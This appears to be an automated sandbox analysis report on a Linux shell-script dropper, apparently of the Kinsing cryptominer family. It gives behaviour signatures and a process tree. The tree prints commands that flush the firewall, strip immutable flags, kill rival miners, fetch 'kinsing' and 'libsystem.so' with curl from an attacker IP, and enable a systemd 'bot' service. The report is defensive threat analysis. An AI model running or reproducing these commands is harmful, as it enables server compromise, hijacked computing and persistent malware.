Overview

overview

9

Static

static

1

b81dbc2439...end.sh

ubuntu-18.04-amd64

9

b81dbc2439...end.sh

debian-9-armhf

9

b81dbc2439...end.sh

debian-9-mips

9

b81dbc2439...end.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    19s
  • max time network
    14s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 17:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_post-append.sh
  • Size 835KB
  • Sample260913-v2l4dazhnd
  • SHA256 233bae701a9febd4afc396c6ab97c4a57c3bdb7859b0ec0692801e75dd828c77
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
antivmdefense_evasiondiscoveryexectionexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

    exectionpersistenceprivilege_escalationdefense_evasion
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Flushes firewall rules 1 TTPs 1 IoCs

    Flushes/ disables firewall rules inside the Linux kernel.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 50 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Removes the immutable protection flag from a file 1 TTPs 24 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Discovers running processes 1 TTPs 8 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Reads CPU attributes 1 TTPs 49 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_post-append.sh
    /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_post-append.sh
    1⤵
    • Writes file to tmp directory
    PID:643
    • /bin/mktemp
      mktemp -d
      2⤵
        PID:664
      • /usr/bin/base64
        base64 -d
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:666
      • /usr/bin/python3
        python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
        2⤵
          PID:668
        • /bin/chmod
          chmod +x /tmp/tmp.Z9ZullKpYK/embedded.sh
          2⤵
          • File and Directory Permissions Modification
          PID:675
      • /bin/bash
        bash /tmp/tmp.Z9ZullKpYK/embedded.sh
        1⤵
        • Modifies the dynamic linker configuration file
        • Executes dropped EXE
        • Modifies systemd
        PID:643
        • /usr/bin/chattr
          chattr -i /etc/ld.so.preload
          2⤵
          • Removes the immutable protection flag from a file
          PID:676
        • /bin/rm
          rm -f /etc/ld.so.preload
          2⤵
            PID:677
          • /usr/bin/chattr
            chattr -R -i /var/spool/cron
            2⤵
            • Removes the immutable protection flag from a file
            PID:678
          • /usr/bin/chattr
            chattr -i /etc/crontab
            2⤵
            • Removes the immutable protection flag from a file
            PID:679
          • /sbin/iptables
            iptables -F
            2⤵
            • Flushes firewall rules
            PID:681
          • /usr/bin/id
            id -u
            2⤵
              PID:684
            • /bin/ls
              ls -la /etc
              2⤵
                PID:686
              • /bin/grep
                grep -e /dev
                2⤵
                  PID:687
                • /bin/grep
                  grep -v grep
                  2⤵
                    PID:688
                  • /bin/grep
                    grep tracepath
                    2⤵
                      PID:690
                    • /bin/ps
                      ps aux
                      2⤵
                      • Discovers running processes
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:689
                    • /bin/grep
                      grep -v grep
                      2⤵
                        PID:691
                      • /usr/bin/xargs
                        xargs -I "%" kill -9 "%"
                        2⤵
                        • Removes the immutable protection flag from a file
                        PID:693
                      • /usr/bin/awk
                        awk "{print \$2}"
                        2⤵
                          PID:692
                        • /bin/grep
                          grep /dot
                          2⤵
                            PID:695
                          • /bin/ps
                            ps aux
                            2⤵
                            • Discovers running processes
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:694
                          • /bin/grep
                            grep -v grep
                            2⤵
                              PID:696
                            • /usr/bin/awk
                              awk "{print \$2}"
                              2⤵
                                PID:697
                              • /usr/bin/xargs
                                xargs -I "%" kill -9 "%"
                                2⤵
                                • Removes the immutable protection flag from a file
                                PID:698
                              • /usr/bin/pkill
                                pkill -f hezb
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:699
                              • /usr/bin/pkill
                                pkill -f /tmp/.out
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:700
                              • /bin/grep
                                grep ./ll1
                                2⤵
                                  PID:702
                                • /bin/ps
                                  ps aux
                                  2⤵
                                  • Discovers running processes
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:701
                                • /bin/grep
                                  grep -v grep
                                  2⤵
                                    PID:703
                                  • /usr/bin/awk
                                    awk "{print \$2}"
                                    2⤵
                                      PID:704
                                    • /usr/bin/xargs
                                      xargs -I "%" kill -9 "%"
                                      2⤵
                                      • Removes the immutable protection flag from a file
                                      PID:705
                                    • /bin/grep
                                      grep agetty
                                      2⤵
                                        PID:707
                                      • /bin/grep
                                        grep -v grep
                                        2⤵
                                          PID:708
                                        • /bin/ps
                                          ps aux
                                          2⤵
                                          • Discovers running processes
                                          • Reads CPU attributes
                                          • Reads runtime system information
                                          PID:706
                                        • /usr/bin/xargs
                                          xargs -I "%" kill -9 "%"
                                          2⤵
                                          • Removes the immutable protection flag from a file
                                          PID:710
                                        • /usr/bin/awk
                                          awk "{if(\$3>80.0) print \$2}"
                                          2⤵
                                            PID:709
                                          • /usr/bin/pkill
                                            pkill -f 42.112.28.216
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:711
                                          • /bin/grep
                                            grep 207.38.87.6
                                            2⤵
                                              PID:713
                                            • /usr/bin/awk
                                              awk "{print \$7}"
                                              2⤵
                                                PID:714
                                              • /usr/bin/awk
                                                awk "-F[/]" "{print \$1}"
                                                2⤵
                                                  PID:715
                                                • /usr/bin/xargs
                                                  xargs -I "%" kill -9 "%"
                                                  2⤵
                                                  • Removes the immutable protection flag from a file
                                                  PID:717
                                                • /bin/grep
                                                  grep -v -
                                                  2⤵
                                                    PID:716
                                                  • /bin/grep
                                                    grep 127.0.0.1:52018
                                                    2⤵
                                                      PID:719
                                                    • /usr/bin/awk
                                                      awk "{print \$7}"
                                                      2⤵
                                                        PID:720
                                                      • /usr/bin/awk
                                                        awk "-F[/]" "{print \$1}"
                                                        2⤵
                                                          PID:721
                                                        • /bin/grep
                                                          grep -v -
                                                          2⤵
                                                            PID:722
                                                          • /usr/bin/xargs
                                                            xargs -I "%" kill -9 "%"
                                                            2⤵
                                                            • Removes the immutable protection flag from a file
                                                            PID:724
                                                          • /bin/grep
                                                            grep 34.81.218.76:9486
                                                            2⤵
                                                              PID:727
                                                            • /usr/bin/awk
                                                              awk "-F[/]" "{print \$1}"
                                                              2⤵
                                                                PID:729
                                                              • /usr/bin/awk
                                                                awk "{print \$7}"
                                                                2⤵
                                                                  PID:728
                                                                • /bin/grep
                                                                  grep -v -
                                                                  2⤵
                                                                    PID:730
                                                                  • /usr/bin/xargs
                                                                    xargs -I "%" kill -9 "%"
                                                                    2⤵
                                                                    • Removes the immutable protection flag from a file
                                                                    PID:731
                                                                  • /bin/grep
                                                                    grep 42.112.28.216:9486
                                                                    2⤵
                                                                      PID:734
                                                                    • /usr/bin/awk
                                                                      awk "{print \$7}"
                                                                      2⤵
                                                                        PID:736
                                                                      • /bin/grep
                                                                        grep -v -
                                                                        2⤵
                                                                          PID:738
                                                                        • /usr/bin/awk
                                                                          awk "-F[/]" "{print \$1}"
                                                                          2⤵
                                                                            PID:737
                                                                          • /usr/bin/xargs
                                                                            xargs -I "%" kill -9 "%"
                                                                            2⤵
                                                                            • Removes the immutable protection flag from a file
                                                                            PID:739
                                                                          • /usr/bin/pkill
                                                                            pkill -f .git/kthreaddw
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:741
                                                                          • /usr/bin/pkill
                                                                            pkill -f 80.211.206.105
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:744
                                                                          • /usr/bin/pkill
                                                                            pkill -f 207.38.87.6
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:748
                                                                          • /usr/bin/pkill
                                                                            pkill -f p8444
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:751
                                                                          • /usr/bin/pkill
                                                                            pkill -f supportxmr
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:754
                                                                          • /usr/bin/pkill
                                                                            pkill -f monero
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:758
                                                                          • /usr/bin/pkill
                                                                            pkill -f kthreaddi
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:761
                                                                          • /usr/bin/pkill
                                                                            pkill -f srv00
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:765
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.javae/javae
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:768
                                                                          • /usr/bin/pkill
                                                                            pkill -f .javae
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:771
                                                                          • /usr/bin/pkill
                                                                            pkill -f .syna
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:774
                                                                          • /usr/bin/pkill
                                                                            pkill -f .main
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:779
                                                                          • /usr/bin/pkill
                                                                            pkill -f xmm
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:786
                                                                          • /usr/bin/pkill
                                                                            pkill -f solr.sh
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:789
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.solr/solrd
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:793
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/javac
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:795
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.go.sh
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:796
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.x/agetty
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:798
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.x/kworker
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:799
                                                                          • /usr/bin/pkill
                                                                            pkill -f c3pool
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:800
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.X11-unix/gitag-ssh
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:801
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/1
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:802
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/okk.sh
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            PID:803
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/gitaly
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:804
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.x/kworker
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:805
                                                                          • /usr/bin/pkill
                                                                            pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:806
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.X11-unix/supervise
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:807
                                                                          • /usr/bin/pkill
                                                                            pkill -f /tmp/.ssh/redis.sh
                                                                            2⤵
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            PID:808
                                                                          • /bin/grep
                                                                            grep ./udp
                                                                            2⤵
                                                                              PID:810
                                                                            • /bin/ps
                                                                              ps aux
                                                                              2⤵
                                                                              • Discovers running processes
                                                                              • Reads CPU attributes
                                                                              • Reads runtime system information
                                                                              PID:809
                                                                            • /bin/grep
                                                                              grep -v grep
                                                                              2⤵
                                                                                PID:811
                                                                              • /usr/bin/awk
                                                                                awk "{print \$2}"
                                                                                2⤵
                                                                                  PID:812
                                                                                • /usr/bin/xargs
                                                                                  xargs -I "%" kill -9 "%"
                                                                                  2⤵
                                                                                  • Removes the immutable protection flag from a file
                                                                                  PID:813
                                                                                • /bin/cat
                                                                                  cat /tmp/.X11-unix/01
                                                                                  2⤵
                                                                                    PID:814
                                                                                  • /usr/bin/xargs
                                                                                    xargs -I "%" kill -9 "%"
                                                                                    2⤵
                                                                                    • Removes the immutable protection flag from a file
                                                                                    PID:815
                                                                                  • /usr/bin/xargs
                                                                                    xargs -I "%" kill -9 "%"
                                                                                    2⤵
                                                                                    • Removes the immutable protection flag from a file
                                                                                    PID:817
                                                                                  • /bin/cat
                                                                                    cat /tmp/.X11-unix/11
                                                                                    2⤵
                                                                                      PID:816
                                                                                    • /usr/bin/xargs
                                                                                      xargs -I "%" kill -9 "%"
                                                                                      2⤵
                                                                                      • Removes the immutable protection flag from a file
                                                                                      PID:819
                                                                                    • /bin/cat
                                                                                      cat /tmp/.X11-unix/22
                                                                                      2⤵
                                                                                        PID:818
                                                                                      • /usr/bin/xargs
                                                                                        xargs -I "%" kill -9 "%"
                                                                                        2⤵
                                                                                        • Removes the immutable protection flag from a file
                                                                                        PID:821
                                                                                      • /bin/cat
                                                                                        cat /tmp/.pg_stat.0
                                                                                        2⤵
                                                                                          PID:820
                                                                                        • /usr/bin/xargs
                                                                                          xargs -I "%" kill -9 "%"
                                                                                          2⤵
                                                                                          • Removes the immutable protection flag from a file
                                                                                          PID:823
                                                                                        • /bin/cat
                                                                                          cat /tmp/.pg_stat.1
                                                                                          2⤵
                                                                                            PID:822
                                                                                          • /bin/cat
                                                                                            cat /data/./oka.pid
                                                                                            2⤵
                                                                                              PID:824
                                                                                            • /usr/bin/xargs
                                                                                              xargs -I "%" kill -9 "%"
                                                                                              2⤵
                                                                                              • Removes the immutable protection flag from a file
                                                                                              PID:825
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f zsvc
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              • Reads runtime system information
                                                                                              PID:826
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f pdefenderd
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              • Reads runtime system information
                                                                                              PID:827
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f updatecheckerd
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              • Reads runtime system information
                                                                                              PID:828
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f cruner
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              PID:832
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f dbused
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              PID:835
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f bashirc
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              PID:839
                                                                                            • /usr/bin/pkill
                                                                                              pkill -f meminitsrv
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              PID:842
                                                                                            • /bin/grep
                                                                                              grep -v grep
                                                                                              2⤵
                                                                                                PID:847
                                                                                              • /usr/bin/awk
                                                                                                awk "{print \$2}"
                                                                                                2⤵
                                                                                                  PID:849
                                                                                                • /bin/grep
                                                                                                  grep ./oka
                                                                                                  2⤵
                                                                                                    PID:846
                                                                                                  • /usr/bin/xargs
                                                                                                    xargs -I "%" kill -9 "%"
                                                                                                    2⤵
                                                                                                    • Removes the immutable protection flag from a file
                                                                                                    PID:850
                                                                                                  • /bin/ps
                                                                                                    ps aux
                                                                                                    2⤵
                                                                                                    • Discovers running processes
                                                                                                    • Reads CPU attributes
                                                                                                    • Reads runtime system information
                                                                                                    PID:845
                                                                                                  • /bin/grep
                                                                                                    grep "postgres: autovacum"
                                                                                                    2⤵
                                                                                                      PID:856
                                                                                                    • /bin/ps
                                                                                                      ps aux
                                                                                                      2⤵
                                                                                                      • Discovers running processes
                                                                                                      • Reads CPU attributes
                                                                                                      PID:855
                                                                                                    • /bin/grep
                                                                                                      grep -v grep
                                                                                                      2⤵
                                                                                                        PID:857
                                                                                                      • /usr/bin/awk
                                                                                                        awk "{print \$2}"
                                                                                                        2⤵
                                                                                                          PID:858
                                                                                                        • /usr/bin/xargs
                                                                                                          xargs -I "%" kill -9 "%"
                                                                                                          2⤵
                                                                                                          • Removes the immutable protection flag from a file
                                                                                                          PID:859
                                                                                                        • /usr/bin/awk
                                                                                                          awk "length(\$1) == 8"
                                                                                                          2⤵
                                                                                                            PID:865
                                                                                                          • /bin/grep
                                                                                                            grep -v bin
                                                                                                            2⤵
                                                                                                              PID:866
                                                                                                            • /bin/grep
                                                                                                              grep -v "\\["
                                                                                                              2⤵
                                                                                                                PID:867
                                                                                                              • /bin/ps
                                                                                                                ps ax -o "command,pid" -www
                                                                                                                2⤵
                                                                                                                • Reads CPU attributes
                                                                                                                • Reads runtime system information
                                                                                                                PID:864
                                                                                                              • /bin/grep
                                                                                                                grep -v "("
                                                                                                                2⤵
                                                                                                                  PID:868
                                                                                                                • /bin/grep
                                                                                                                  grep -v php-fpm
                                                                                                                  2⤵
                                                                                                                    PID:869
                                                                                                                  • /bin/grep
                                                                                                                    grep -v proxymap
                                                                                                                    2⤵
                                                                                                                      PID:871
                                                                                                                    • /bin/grep
                                                                                                                      grep -v postgres
                                                                                                                      2⤵
                                                                                                                        PID:872
                                                                                                                      • /bin/grep
                                                                                                                        grep -v postgrey
                                                                                                                        2⤵
                                                                                                                          PID:873
                                                                                                                        • /bin/grep
                                                                                                                          grep -v kinsing
                                                                                                                          2⤵
                                                                                                                            PID:874
                                                                                                                          • /usr/bin/awk
                                                                                                                            awk "{print \$2}"
                                                                                                                            2⤵
                                                                                                                              PID:875
                                                                                                                            • /usr/bin/xargs
                                                                                                                              xargs -I "%" kill -9 "%"
                                                                                                                              2⤵
                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                              PID:876
                                                                                                                            • /bin/ps
                                                                                                                              ps ax -o "command,pid" -www
                                                                                                                              2⤵
                                                                                                                              • Reads CPU attributes
                                                                                                                              • Reads runtime system information
                                                                                                                              PID:880
                                                                                                                            • /bin/grep
                                                                                                                              grep -v bin
                                                                                                                              2⤵
                                                                                                                                PID:882
                                                                                                                              • /bin/grep
                                                                                                                                grep -v "\\["
                                                                                                                                2⤵
                                                                                                                                  PID:883
                                                                                                                                • /usr/bin/awk
                                                                                                                                  awk "length(\$1) == 16"
                                                                                                                                  2⤵
                                                                                                                                    PID:881
                                                                                                                                  • /bin/grep
                                                                                                                                    grep -v "("
                                                                                                                                    2⤵
                                                                                                                                      PID:884
                                                                                                                                    • /bin/grep
                                                                                                                                      grep -v php-fpm
                                                                                                                                      2⤵
                                                                                                                                        PID:885
                                                                                                                                      • /bin/grep
                                                                                                                                        grep -v proxymap
                                                                                                                                        2⤵
                                                                                                                                          PID:886
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -v postgrey
                                                                                                                                          2⤵
                                                                                                                                            PID:888
                                                                                                                                          • /bin/grep
                                                                                                                                            grep -v postgres
                                                                                                                                            2⤵
                                                                                                                                              PID:887
                                                                                                                                            • /usr/bin/awk
                                                                                                                                              awk "{print \$2}"
                                                                                                                                              2⤵
                                                                                                                                                PID:889
                                                                                                                                              • /usr/bin/xargs
                                                                                                                                                xargs -I "%" kill -9 "%"
                                                                                                                                                2⤵
                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                PID:891
                                                                                                                                              • /usr/bin/awk
                                                                                                                                                awk "length(\$5) == 8"
                                                                                                                                                2⤵
                                                                                                                                                  PID:895
                                                                                                                                                • /bin/grep
                                                                                                                                                  grep -v bin
                                                                                                                                                  2⤵
                                                                                                                                                    PID:897
                                                                                                                                                  • /bin/grep
                                                                                                                                                    grep -v "\\["
                                                                                                                                                    2⤵
                                                                                                                                                      PID:898
                                                                                                                                                    • /bin/ps
                                                                                                                                                      ps ax
                                                                                                                                                      2⤵
                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                      • Reads runtime system information
                                                                                                                                                      PID:894
                                                                                                                                                    • /bin/grep
                                                                                                                                                      grep -v "("
                                                                                                                                                      2⤵
                                                                                                                                                        PID:899
                                                                                                                                                      • /bin/grep
                                                                                                                                                        grep -v php-fpm
                                                                                                                                                        2⤵
                                                                                                                                                          PID:900
                                                                                                                                                        • /bin/grep
                                                                                                                                                          grep -v proxymap
                                                                                                                                                          2⤵
                                                                                                                                                            PID:901
                                                                                                                                                          • /bin/grep
                                                                                                                                                            grep -v postgres
                                                                                                                                                            2⤵
                                                                                                                                                              PID:902
                                                                                                                                                            • /bin/grep
                                                                                                                                                              grep -v postgrey
                                                                                                                                                              2⤵
                                                                                                                                                                PID:903
                                                                                                                                                              • /usr/bin/awk
                                                                                                                                                                awk "{print \$1}"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:904
                                                                                                                                                                • /usr/bin/xargs
                                                                                                                                                                  xargs -I "%" kill -9 "%"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                  PID:905
                                                                                                                                                                • /bin/grep
                                                                                                                                                                  grep /tmp/sscks
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:909
                                                                                                                                                                  • /bin/grep
                                                                                                                                                                    grep -v grep
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:908
                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                      awk "{print \$2}"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:910
                                                                                                                                                                      • /bin/ps
                                                                                                                                                                        ps aux
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Discovers running processes
                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                        PID:907
                                                                                                                                                                      • /usr/bin/xargs
                                                                                                                                                                        xargs -I "%" kill -9 "%"
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                        PID:911
                                                                                                                                                                      • /usr/bin/awk
                                                                                                                                                                        awk "{ print \$1 }"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:915
                                                                                                                                                                        • /usr/bin/md5sum
                                                                                                                                                                          md5sum /etc/kinsing
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:914
                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                            chmod 777 /etc/kinsing
                                                                                                                                                                            2⤵
                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                            PID:916
                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                            curl -o /etc/kinsing http://185.209.29.94/kinsing
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Checks CPU configuration
                                                                                                                                                                            PID:917
                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                            chmod +x /etc/kinsing
                                                                                                                                                                            2⤵
                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                            PID:918
                                                                                                                                                                          • /usr/bin/md5sum
                                                                                                                                                                            md5sum /etc/kinsing
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:921
                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                              awk "{ print \$1 }"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:922
                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                chmod 777 /etc/kinsing
                                                                                                                                                                                2⤵
                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                PID:923
                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                curl -o /etc/kinsing http://185.209.29.94/kinsing
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Checks CPU configuration
                                                                                                                                                                                PID:924
                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                chmod +x /etc/kinsing
                                                                                                                                                                                2⤵
                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                PID:925
                                                                                                                                                                              • /usr/bin/awk
                                                                                                                                                                                awk "{ print \$1 }"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:929
                                                                                                                                                                                • /usr/bin/md5sum
                                                                                                                                                                                  md5sum /etc/kinsing
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:928
                                                                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                                                                    md5sum /etc/libsystem.so
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:932
                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                      awk "{ print \$1 }"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:933
                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                        chmod 777 /etc/libsystem.so
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                        PID:934
                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                        curl -o /etc/libsystem.so http://185.209.29.94/libsystem.so
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Checks CPU configuration
                                                                                                                                                                                        PID:935
                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                        chmod +x /etc/libsystem.so
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                        PID:936
                                                                                                                                                                                      • /usr/bin/md5sum
                                                                                                                                                                                        md5sum /etc/libsystem.so
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:939
                                                                                                                                                                                        • /usr/bin/awk
                                                                                                                                                                                          awk "{ print \$1 }"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:940
                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                            chmod 777 /etc/libsystem.so
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                            PID:941
                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                            curl -o /etc/libsystem.so http://185.209.29.94/libsystem.so
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Checks CPU configuration
                                                                                                                                                                                            PID:942
                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                            chmod +x /etc/libsystem.so
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                            PID:943
                                                                                                                                                                                          • /usr/bin/awk
                                                                                                                                                                                            awk "{ print \$1 }"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:947
                                                                                                                                                                                            • /usr/bin/md5sum
                                                                                                                                                                                              md5sum /etc/libsystem.so
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:946
                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                rm -rf /tmp/kdevtmpfsi
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:948
                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                  chmod 777 /etc/kinsing
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                  PID:949
                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                  chmod +x /etc/kinsing
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                  PID:950
                                                                                                                                                                                                • /etc/kinsing
                                                                                                                                                                                                  /etc/kinsing
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:951
                                                                                                                                                                                                  • /usr/bin/id
                                                                                                                                                                                                    id -u
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:952
                                                                                                                                                                                                    • /bin/systemctl
                                                                                                                                                                                                      systemctl enable bot
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                      PID:953
